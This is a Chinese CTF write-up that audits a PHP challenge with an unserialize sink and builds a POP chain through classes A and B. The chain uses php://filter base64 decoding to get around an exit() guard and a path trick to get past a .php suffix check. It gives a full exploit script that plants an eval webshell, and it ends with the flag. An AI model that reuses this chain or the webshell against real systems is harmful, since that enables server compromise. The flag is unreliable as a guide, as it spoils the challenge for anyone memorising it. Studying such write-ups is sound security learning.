[2020 新春红包题]1

源码审计

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

涉及知识

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

解题过程

这个题跟[EIS 2019]EzPOP几乎一样。区别在于修改了一段代码。

public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

本题

public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

反序列化从__destruct()函数开始分析
A类:

 public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }

this->autosave=NULL,直接进入save方法.

public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

用到了set方法,set方法在B类

 public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

所以A->store=B
filename过滤了php后缀文件substr(filename,-4)),但是可以在字符串末尾加其他字符绕过,然后创建filename为名的文件名.
可以将options['data_compress']设置为false绕过数据压缩.
data里设置了exit来防止🐎.
但是它不顶用,直接base64加密解密变成垃圾数据
然后可以用B->serialize()方法来将我们的🐎解码
绕过文件检测,可以用/../maxzed.php/.来绕过,直接传到uploads文件夹下面
于是改一下之前的exp:

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
        $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["maxzed"]);?>'));
        $this->key = "/../maxzed.php/.";
        $this->store = new B();
        $this->autosave = false;
        $this->expire = 0;
    }

}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

然后直接打
蚁剑连接即可getshell
flag{66236e3c-3071-4588-ae9a-b6bbeeb6d5c5}